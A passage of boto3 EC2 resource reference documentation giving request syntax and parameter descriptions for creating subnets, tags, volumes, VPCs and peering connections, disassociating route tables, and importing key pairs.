To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Snapshot + +Returns + +Snapshot resource + +create_subnet(kwargs_) + +Creates a subnet in a specified VPC. + +You must specify an IPv4 CIDR block for the subnet. After you create a subnet, you can't change its CIDR block. The allowed block size is between a /16 netmask (65,536 IP addresses) and /28 netmask (16 IP addresses). The CIDR block must not overlap with the CIDR block of an existing subnet in the VPC. + +If you've associated an IPv6 CIDR block with your VPC, you can create a subnet with an IPv6 CIDR block that uses a /64 prefix length. + +Warning + +AWS reserves both the first four and the last IPv4 address in each subnet's CIDR block. They're not available for use. + +If you add more than one subnet to a VPC, they're set up in a star topology with a logical router in the middle. + +When you stop an instance in a subnet, it retains its private IPv4 address. It's therefore possible to have a subnet with no running instances (they're all stopped), but no remaining IP addresses available. + +For more information about subnets, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSubnet) + +**Request Syntax** + +subnet = ec2.create_subnet( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AvailabilityZone='string', + AvailabilityZoneId='string', + CidrBlock='string', + Ipv6CidrBlock='string', + OutpostArn='string', + VpcId='string', + DryRun=True|False +) + +Parameters + +- **TagSpecifications** (_list_) -- + + The tags to assign to the subnet. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id851)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id853)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **AvailabilityZone** (_string_) -- + + The Availability Zone or Local Zone for the subnet. + + Default: AWS selects one for you. If you create more than one subnet in your VPC, we do not necessarily select a different zone for each subnet. + + To create a subnet in a Local Zone, set this value to the Local Zone ID, for example us-west-2-lax-1a . For information about the Regions that support Local Zones, see [Available Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions) in the _Amazon Elastic Compute Cloud User Guide_ . + + To create a subnet in an Outpost, set this value to the Availability Zone for the Outpost and specify the Outpost ARN. + +- **AvailabilityZoneId** (_string_) -- The AZ ID or the Local Zone ID of the subnet. +- **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the subnet, in CIDR notation. For example, 10.0.0.0/24 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range for the subnet, in CIDR notation. The subnet size must use a /64 prefix length. +- **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. If you specify an Outpost ARN, you must also specify the Availability Zone of the Outpost subnet. +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Subnet + +Returns + +Subnet resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = ec2.create_tags( + DryRun=True|False, + Resources=[ + 'string', + ], + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Resources** (_list_) -- + + **[REQUIRED]** + + The IDs of the resources, separated by spaces. + + Constraints: Up to 1000 resource IDs. We recommend breaking up this request into smaller batches. + + - _(string) --_ +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +create_volume(kwargs_) + +Creates an EBS volume that can be attached to an instance in the same Availability Zone. + +You can create a new empty volume or restore a volume from an EBS snapshot. Any AWS Marketplace product codes from the snapshot are propagated to the volume. + +You can create encrypted volumes. Encrypted volumes must be attached to instances that support Amazon EBS encryption. Volumes that are created from encrypted snapshots are also automatically encrypted. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +You can tag your volumes during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Creating an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVolume) + +**Request Syntax** + +volume = ec2.create_volume( + AvailabilityZone='string', + Encrypted=True|False, + Iops=123, + KmsKeyId='string', + OutpostArn='string', + Size=123, + SnapshotId='string', + VolumeType='standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + MultiAttachEnabled=True|False, + Throughput=123 +) + +Parameters + +- **AvailabilityZone** (_string_) -- + + **[REQUIRED]** + + The Availability Zone in which to create the volume. + +- **Encrypted** (_boolean_) -- + + Indicates whether the volume should be encrypted. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Encryption by default](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-by-default) in the _Amazon Elastic Compute Cloud User Guide_ . + + Encrypted Amazon EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + +- **Iops** (_integer_) -- + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + +- **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + - Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + - Key alias. For example, alias/ExampleAlias. + - Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + - Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +- **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. +- **Size** (_integer_) -- + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 : 1-16,384 + - io1 and io2 : 4-16,384 + - st1 and sc1 : 125-16,384 + - standard : 1-1,024 +- **SnapshotId** (_string_) -- The snapshot from which to create the volume. You must specify either a snapshot ID or a volume size. +- **VolumeType** (_string_) -- + + The volume type. This parameter can be one of the following values: + + - General Purpose SSD: gp2 | gp3 + - Provisioned IOPS SSD: io1 | io2 + - Throughput Optimized HDD: st1 + - Cold HDD: sc1 + - Magnetic: standard + + For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: gp2 + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **TagSpecifications** (_list_) -- + + The tags to apply to the volume during creation. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id857)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id859)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **MultiAttachEnabled** (_boolean_) -- Indicates whether to enable Amazon EBS Multi-Attach. If you enable Multi-Attach, you can attach the volume to up to 16 [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) in the same Availability Zone. This parameter is supported with io1 and io2 volumes only. For more information, see [Amazon EBS Multi-Attach](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volumes-multi.html) in the _Amazon Elastic Compute Cloud User Guide_ . +- **Throughput** (_integer_) -- + + The throughput to provision for a volume, with a maximum of 1,000 MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + +Return type + +ec2.Volume + +Returns + +Volume resource + +create_vpc(kwargs_) + +Creates a VPC with the specified IPv4 CIDR block. The smallest VPC you can create uses a /28 netmask (16 IPv4 addresses), and the largest uses a /16 netmask (65,536 IPv4 addresses). For more information about how large to make your VPC, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can optionally request an IPv6 CIDR block for the VPC. You can request an Amazon-provided IPv6 CIDR block from Amazon's pool of IPv6 addresses, or an IPv6 CIDR block from an IPv6 address pool that you provisioned through bring your own IP addresses ([BYOIP](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-byoip.html) ). + +By default, each instance you launch in the VPC has the default DHCP options, which include only a default DNS server that we provide (AmazonProvidedDNS). For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can specify the instance tenancy value for the VPC when you create it. You can't change this value for the VPC after you create it. For more information, see [Dedicated Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/dedicated-instance.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpc) + +**Request Syntax** + +vpc = ec2.create_vpc( + CidrBlock='string', + AmazonProvidedIpv6CidrBlock=True|False, + Ipv6Pool='string', + Ipv6CidrBlock='string', + DryRun=True|False, + InstanceTenancy='default'|'dedicated'|'host', + Ipv6CidrBlockNetworkBorderGroup='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the VPC, in CIDR notation. For example, 10.0.0.0/16 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +- **AmazonProvidedIpv6CidrBlock** (_boolean_) -- Requests an Amazon-provided IPv6 CIDR block with a /56 prefix length for the VPC. You cannot specify the range of IP addresses, or the size of the CIDR block. +- **Ipv6Pool** (_string_) -- The ID of an IPv6 address pool from which to allocate the IPv6 CIDR block. +- **Ipv6CidrBlock** (_string_) -- + + The IPv6 CIDR block from the IPv6 address pool. You must also specify Ipv6Pool in the request. + + To let Amazon choose the IPv6 CIDR block for you, omit this parameter. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceTenancy** (_string_) -- + + The tenancy options for instances launched into the VPC. For default , instances are launched with shared tenancy by default. You can launch instances with any tenancy into a shared tenancy VPC. For dedicated , instances are launched as dedicated tenancy instances by default. You can only launch instances with a tenancy of dedicated or host into a dedicated tenancy VPC. + + > **Important:** The host value cannot be used with this parameter. Use the default or dedicated values only. + + Default: default + +- **Ipv6CidrBlockNetworkBorderGroup** (_string_) -- + + The name of the location from which we advertise the IPV6 CIDR block. Use this parameter to limit the address to this location. + + You must set AmazonProvidedIpv6CidrBlock to true to use this parameter. + +- **TagSpecifications** (_list_) -- + + The tags to assign to the VPC. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id862)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id864)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.Vpc + +Returns + +Vpc resource + +create_vpc_peering_connection(kwargs_) + +Requests a VPC peering connection between two VPCs: a requester VPC that you own and an accepter VPC with which to create the connection. The accepter VPC can belong to another AWS account and can be in a different Region to the requester VPC. The requester VPC and accepter VPC cannot have overlapping CIDR blocks. + +Note + +Limitations and rules apply to a VPC peering connection. For more information, see the [limitations](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html#vpc-peering-limitations) section in the _VPC Peering Guide_ . + +The owner of the accepter VPC must accept the peering request to activate the peering connection. The VPC peering connection request expires after 7 days, after which it cannot be accepted or rejected. + +If you create a VPC peering connection request between VPCs with overlapping CIDR blocks, the VPC peering connection has a status of failed . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcPeeringConnection) + +**Request Syntax** + +vpc_peering_connection = ec2.create_vpc_peering_connection( + DryRun=True|False, + PeerOwnerId='string', + PeerVpcId='string', + VpcId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PeerOwnerId** (_string_) -- + + The AWS account ID of the owner of the accepter VPC. + + Default: Your AWS account ID + +- **PeerVpcId** (_string_) -- The ID of the VPC with which you are creating the VPC peering connection. You must specify this parameter in the request. +- **VpcId** (_string_) -- The ID of the requester VPC. You must specify this parameter in the request. +- **PeerRegion** (_string_) -- + + The Region code for the accepter VPC, if the accepter VPC is located in a Region other than the Region in which you make the request. + + Default: The Region in which you make the request. + +- **TagSpecifications** (_list_) -- + + The tags to assign to the peering connection. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id867)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id869)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.VpcPeeringConnection + +Returns + +VpcPeeringConnection resource + +disassociate_route_table(kwargs_) + +Disassociates a subnet or gateway from a route table. + +After you perform this action, the subnet no longer uses the routes in the route table. Instead, it uses the routes in the VPC's main route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateRouteTable) + +**Request Syntax** + +response = ec2.disassociate_route_table( + AssociationId='string', + DryRun=True|False +) + +Parameters + +- **AssociationId** (_string_) -- + + **[REQUIRED]** + + The association ID representing the current association between the route table and subnet or gateway. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +import_key_pair(kwargs_) + +Imports the public key from an RSA key pair that you created with a third-party tool. Compare this with CreateKeyPair , in which AWS creates the key pair and gives the keys to you (AWS keeps a copy of the public key). With ImportKeyPair, you create the key pair and give AWS just the public key. The private key is never transferred between you and AWS. + +For more information about key pairs, see [Key Pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ImportKeyPair) + +**Request Syntax** + +key_pair_info = ec2.import_key_pair( + DryRun=True|False, + KeyName='string', + PublicKeyMaterial=b'bytes', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **KeyName** (_string_) -- + + **[REQUIRED]** + + A unique name for the key pair. + +- **PublicKeyMaterial** (_bytes_) -- + + **[REQUIRED]** + + The public key. For API calls, the text must be base64-encoded. For command line tools, base64 encoding is performed for you. + +- **TagSpecifications** (_list_) -- + + The tags to apply to the imported key pair. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id873)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id875)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with 